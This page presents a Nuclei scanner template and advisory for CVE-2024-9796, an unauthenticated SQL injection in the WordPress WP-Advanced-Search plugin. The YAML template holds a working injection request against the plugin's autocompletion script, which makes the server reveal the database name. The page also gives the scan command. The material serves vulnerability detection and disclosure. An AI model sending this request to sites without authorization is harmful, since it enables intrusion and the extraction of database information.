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WordPress WP-Advanced-Search <= 3.3.9 - SQL Injection

ID: CVE-2024-9796

Severity: critical

Author: s4e-io

Tags: cve,cve2024,wp,wordpress,wp-plugin,sqli,wp-advanced-search

The WordPress WP-Advanced-Search plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

id: CVE-2024-9796
info:
name: WordPress WP-Advanced-Search <= 3.3.9 - SQL Injection
author: s4e-io
severity: critical
description: |
The WordPress WP-Advanced-Search plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
reference:
- https://wpscan.com/vulnerability/2ddd6839-6bcb-4bb8-97e0-1516b8c2b99b/
- https://github.com/RandomRobbieBF/CVE-2024-9796
- https://nvd.nist.gov/vuln/detail/CVE-2024-9796
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-9796
cwe-id: CWE-89
epss-score: 0.00106
epss-percentile: 0.44161
metadata:
max-request: 1
verified: true
vendor: mathieu_chartier
product: wp-advanced-search
framework: wordpress
fofa-query: body="/wp-content/plugins/wp-advanced-search/"
tags: cve,cve2024,wp,wordpress,wp-plugin,sqli,wp-advanced-search
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_users%20--&f=user_login&type=&e"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "Table '([a-zA-Z0-9_]+)\\.wp_users' doesn't exist"
- type: status
status:
- 200
extractors:
- type: regex
part: body
name: database_name
regex:
- "([a-zA-Z0-9_]+)\\.wp_users"
# digest: 4a0a0047304502206f3c4eebe8eb20cfc8c00ab942b243f4513048fff28ce32eebc0d518ebbee6d0022100a25b466ae8cfbe02b7a99bc7661b7454c1050d2582617d0115e2358179e79128:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-9796.yaml"

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